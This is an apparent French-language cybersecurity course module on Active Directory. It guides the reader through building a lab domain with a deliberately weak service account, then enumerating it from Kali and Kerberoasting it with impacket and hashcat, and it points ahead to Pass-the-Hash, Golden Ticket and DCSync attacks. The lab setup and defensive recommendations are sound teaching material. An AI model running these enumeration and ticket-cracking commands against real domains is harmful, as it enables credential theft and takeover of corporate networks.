🎯 Objectif de la semaine
Maîtriser les bases d'Active Directory (AD) : installer un Domain Controller, joindre une machine au domaine, comprendre les protocoles d'authentification Kerberos et NTLM. Saisir pourquoi AD est le cœur des réseaux d'entreprise et comment un compromis AD peut mener à la domination totale du domaine.
Pourquoi c'est stratégique : 90% des entreprises Fortune 500 utilisent Active Directory. Le comprendre, c'est comprendre la colonne vertébrale de la sécurité (et des vulnérabilités) d'entreprise.
Windows Server 2019
pctamalou.local] -->|LDAP/Kerberos| C1[💻 Client Windows 10
Membre domaine] DC -->|GPO/Policy| C2[💻 Client Windows 11] DC -->|Authentication| S1[🖥️ Serveur Fichiers] DC -->|Trust| ADC[DC Secondaire
Réplication] subgraph "🌐 Réseau Host-Only" DC C1 C2 S1 ADC end subgraph "🔓 Points d'entrée attaquants" K[Kali Linux
Attaquant] K -->|Enumeration| DC K -->|Relay Attack| C1 K -->|Pass-the-Hash| S1 end style DC fill:#0a0e17,stroke:#9d4edd,stroke-width:3px style K fill:#11151f,stroke:#ef4444,stroke-width:3px style C1 fill:#0a0e17,stroke:#00d4ff,stroke-width:2px
📚 Sujet – Théorie (1 heure)
Active Directory : Le Système Nerveux de l'Entreprise
Active Directory n'est pas simplement un annuaire d'utilisateurs – c'est un système de gestion d'identités et d'accès centralisé qui orchestre l'ensemble des ressources d'un réseau Windows.
Domain Controller (DC)
Serveur central qui héberge AD DS
- Authentification Kerberos
- Réplication multi-master
- FSMO Roles (5 rôles uniques)
Base de Données AD
NTDS.dit – La "couronne"
- Stocke utilisateurs, groupes
- Schéma extensible
- Chiffré avec syskey
Relations de Confiance
Forests, Trees, Domains
- Forest : Instance AD complète
- Tree : Domaine + enfants
- Domain : Unité administrative
Kerberos vs NTLM : La Bataille des Protocoles
🔒 Kerberos (Par Défaut)
Inventé au MIT (1980), basé sur des tickets
- TGT : Ticket Granting Ticket
- TGS : Ticket Granting Service
- Mutual Auth : Client et serveur vérifiés
- Avantages : Forward secrecy, délégation
- Vulnérabilités : Kerberoasting, Golden Ticket
🔓 NTLM (Fallback)
Hérité de LAN Manager, challenge-response
- NT Hash : MD4 du mot de passe
- LM Hash : Ancien, cassable
- Pas de mutual auth : Vulnérable au relay
- Avantages : Simple, compatible
- Vulnérabilités : Pass-the-Hash, Relay
1. AS-REP Roasting (pré-authent désactivée)
2. Kerberoasting (TGS-REP)
Pourquoi AD est la Cible Ultime
🚀 Chemins d'Attaque AD Typiques
- Initial Access : Phishing → Credentials Windows
- Lateral Movement : Pass-the-Hash vers autres machines
- Privilege Escalation : Trouver compte administrateur
- Domain Dominance : Dump NTDS.dit → Golden Ticket
- Persistence : Silver Ticket, DCShadow, Skeleton Key
FSMO Roles : Les 5 Couronnes du DC
👑 Rôles FSMO (Flexible Single Master Operations)
| Rôle | Fonction | Impact si perdu |
|---|---|---|
| Schema Master | Modifications schéma AD | Pas d'extension schéma |
| Domain Naming Master | Ajout/suppression domaines | Pas de nouveaux domaines |
| PDC Emulator | Temps, password changes | Problèmes authentification |
| RID Master | Allocation SID RID pools | Pas de nouveaux objets |
| Infrastructure Master | Références cross-domain | Problèmes références |
🔬 Mission pratique – Laboratoire (2 heures)
Architecture du Lab AD
192.168.56.10
DC.pctamalou.local] -->|DNS| W10[Windows 10 Pro
192.168.56.20
CLIENT1.pctamalou.local] WS -->|Authentification| W10 K[Kali Linux
192.168.56.100] -.->|Enumération| WS K -.->|Attaques| W10 subgraph "🏰 Domaine pctamalou.local" WS W10 end style WS fill:#0a0e17,stroke:#9d4edd,stroke-width:3px style W10 fill:#0a0e17,stroke:#00d4ff,stroke-width:2px style K fill:#11151f,stroke:#ef4444,stroke-width:3px
⚠️ Ressources Nécessaires
- Windows Server 2019 Eval : ISO depuis Microsoft (180 jours)
- Windows 10/11 Eval : ISO Microsoft
- RAM minimum : 4 Go DC + 4 Go Client
- Réseau : Host-Only (VirtualBox) ou Internal (VMware)
Étapes Détaillées d'Installation
Étape 1 : Installation Windows Server 2019
# Configuration IP statique
New-NetIPAddress -InterfaceAlias "Ethernet" `
-IPAddress "192.168.56.10" `
-PrefixLength 24 `
-DefaultGateway "192.168.56.1"
# Configuration DNS (pointe vers soi-même)
Set-DnsClientServerAddress -InterfaceAlias "Ethernet" `
-ServerAddresses "192.168.56.10"
# Renommer le serveur
Rename-Computer -NewName "DC" -Restart
Étape 2 : Promotion en Domain Controller
💡 Via PowerShell (recommandé) :
# Installer rôle AD Domain Services
Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
# Promouvoir en DC
Install-ADDSForest `
-DomainName "pctamalou.local" `
-DomainNetbiosName "PCTAMALOU" `
-ForestMode "WinThreshold" `
-DomainMode "WinThreshold" `
-InstallDns:$true `
-NoRebootOnCompletion:$false `
-Force:$true
# Après redémarrage, vérifier
Get-ADDomainController -Filter *
📝 Création des comptes de test :
# Créer une OU (Organizational Unit)
New-ADOrganizationalUnit -Name "Apaches" -Path "DC=pctamalou,DC=local"
# Créer utilisateur Gardien
New-ADUser `
-Name "Gardien" `
-SamAccountName "gardien" `
-UserPrincipalName "gardien@pctamalou.local" `
-Path "OU=Apaches,DC=pctamalou,DC=local" `
-AccountPassword (ConvertTo-SecureString "P@ssw0rd2024!" -AsPlainText -Force) `
-Enabled $true
# Ajouter au groupe Domain Users
Add-ADGroupMember "Domain Users" -Members "gardien"
# Créer un compte service (pour Kerberoasting)
New-ADUser `
-Name "SQLService" `
-SamAccountName "sqlservice" `
-ServicePrincipalNames "MSSQLSvc/dc.pctamalou.local" `
-Path "OU=Apaches,DC=pctamalou,DC=local" `
-AccountPassword (ConvertTo-SecureString "WeakSvcP@ss!" -AsPlainText -Force) `
-Enabled $true
Étape 3 : Configuration Client Windows 10
# Sur Windows 10, configurer DNS
netsh interface ip set dns "Ethernet" static 192.168.56.10
# Tester la résolution
nslookup dc.pctamalou.local
ping dc.pctamalou.local
# Joindre le domaine
Add-Computer -DomainName "pctamalou.local" `
-Credential (Get-Credential "PCTAMALOU\Administrator") `
-Restart -Force
# Après redémarrage, login avec: PCTAMALOU\gardien
Étape 4 : Observation et Diagnostic
# Lister tickets Kerberos (sur client)
klist
# Afficher tickets en détail
klist tgt
klist tickets
# Purger tickets (simuler déconnexion)
klist purge
# Vérifier appartenance domaine
systeminfo | findstr /B /C:"Domain"
# Vérifier stratégies appliquées
gpresult /r
🔍 Sur le Domain Controller :
# Voir événements d'authentification
Get-WinEvent -LogName Security -MaxEvents 20 |
Where-Object {$_.Id -eq 4624 -or $_.Id -eq 4768} |
Select-Object TimeCreated, Id, Message
# Lister machines jointes au domaine
Get-ADComputer -Filter * | Format-Table Name, DNSHostName
# Voir utilisateurs dernière connexion
Get-ADUser -Filter * -Properties LastLogonDate |
Select-Object Name, LastLogonDate |
Sort-Object LastLogonDate -Descending
Étape 5 : Énumération depuis Kali (Attaquant)
# Installation outils AD
sudo apt install impacket-scripts bloodhound neo4j -y
# Découverte SMB
nmap -p 445 --script smb-os-discovery 192.168.56.10
# Énumération avec crackmapexec
crackmapexec smb 192.168.56.10 -u 'gardien' -p 'P@ssw0rd2024!' -d pctamalou.local --users
crackmapexec smb 192.168.56.10 -u 'gardien' -p 'P@ssw0rd2024!' -d pctamalou.local --groups
crackmapexec smb 192.168.56.10 -u 'gardien' -p 'P@ssw0rd2024!' -d pctamalou.local --loggedon-users
# Énumération LDAP
ldapsearch -x -H ldap://192.168.56.10 -D "gardien@pctamalou.local" -w "P@ssw0rd2024!" -b "dc=pctamalou,dc=local"
# Récupération liste utilisateurs avec impacket
GetADUsers.py pctamalou.local/gardien:P@ssw0rd2024!@192.168.56.10
# Collecte pour BloodHound
bloodhound-python -d pctamalou.local -u gardien -p 'P@ssw0rd2024!' -ns 192.168.56.10 -c All
Exercice Avancé : Kerberoasting Manuel
🎯 Défi Kerberoasting
Sur Kali, utilisez impacket pour récupérer des tickets TGS et tentez de les cracker :
# Récupération tickets TGS (Kerberoasting)
GetUserSPNs.py pctamalou.local/gardien:P@ssw0rd2024!@192.168.56.10 -request
# Le ticket TGS est chiffré avec le hash du compte service
# Sauvegardez le hash dans un fichier et crackez-le
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
Objectif : Cracker le mot de passe du compte SQLService (WeakSvcP@ss!).
Étape 6 : Documentation et Nettoyage
# Rapport AD Lab - pctamalou.local
## Architecture
- DC: dc.pctamalou.local (192.168.56.10)
- Client: client1.pctamalou.local (192.168.56.20)
- Domaine: pctamalou.local (NetBIOS: PCTAMALOU)
## Comptes Créés
- Administrator (built-in)
- Gardien (User, Apaches OU)
- SQLService (Service Account, SPN: MSSQLSvc)
## Découvertes Sécurité
1. NTLM encore activé (vulnérable relay)
2. Compte service avec mot de passe faible
3. Pas de GPO de durcissement
4. Tous ports SMB/LDAP/Kerberos ouverts
## Recommandations
1. Désactiver NTLM (GPO)
2. Renforcer mots de passe services
3. Implémenter LAPS pour admins locaux
4. Monitoring événements 4624/4625
📋 Objectif de la semaine – Checklist de validation
✅ Compétences techniques acquises
- Domain Controller fonctionnel avec forêt
- Machine Windows jointe au domaine
- Tickets Kerberos observés avec klist
- Énumération AD depuis Kali réussie
- Kerberoasting manuel exécuté
🧠 Changement mental accompli
- Compréhension qu'AD = système nerveux entreprise
- Vision claire Kerberos vs NTLM (forces/faiblesses)
- Conscience qu'un compte domaine = accès potentiel à tout
- Habitude de toujours vérifier SPN et comptes services
💪 Pour aller plus loin :
Installez un deuxième DC, configurez la réplication, puis simulez une attaque DCSync avec mimikatz. Préparez-vous pour la semaine 25 sur les attaques AD avancées.
📚 Ressources pour Approfondir
Formation et Documentation :
- Microsoft Learn AD : Modules gratuits officiels
- BloodHound : Cartographie chemins d'attaque AD
- Pentester Academy AD : Cours approfondi (payant)
- Harmj0y Blog : Référence attaques AD modernes
⚠️ Aspects Sécurité Production
- Jamais tester sur AD production
- LAPS obligatoire pour mots de passe locaux
- Monitoring DC : Events 4672, 4688, 4769
- Red Forest : Architecture sécurité maximale
🔮 Frère d'armes,
Tu viens d'entrer dans le château fort de l'entreprise.
Active Directory n'est pas une simple liste d'utilisateurs – c'est un royaume numérique avec ses lois, ses hiérarchies, ses secrets. Un domaine où chaque objet a sa place, chaque utilisateur ses droits, chaque machine sa loyauté.
Cette semaine, tu as construit ton premier royaume. Tu as vu comment un DC gouverne, comment Kerberos authentifie avec ses tickets chiffrés, comment NTLM traîne comme un fantôme du passé, vulnérable mais toujours présent.
Mais voici la vérité la plus importante : AD est à la fois la forteresse et ses propres clés. Un seul compte compromis, et tout le royaume peut tomber. Un hash volé, et l'attaquant devient roi.
Tu n'es plus un simple utilisateur qui se connecte à son poste. Tu es devenu celui qui comprend la danse des tickets Kerberos, qui sait lire les logs de sécurité, qui peut énumérer un domaine depuis l'extérieur comme un éclaireur observant les remparts.
Dans la semaine 25, nous irons plus loin dans l'assaut. Nous apprendrons à passer les hachages, à forger des tickets dorés, à devenir administrateur sans jamais connaître un mot de passe. Nous apprendrons l'art sombre du mouvement latéral dans un domaine.
Mais pour l'instant, consolide ton royaume. Expérimente avec les GPO, crée des groupes imbriqués, comprends la réplication entre DCs. Un bon défenseur doit d'abord comprendre comment tout tient ensemble.
Un Gardien qui maîtrise AD ne se laisse jamais surprendre par une usurpation de domaine.
— Platon-Y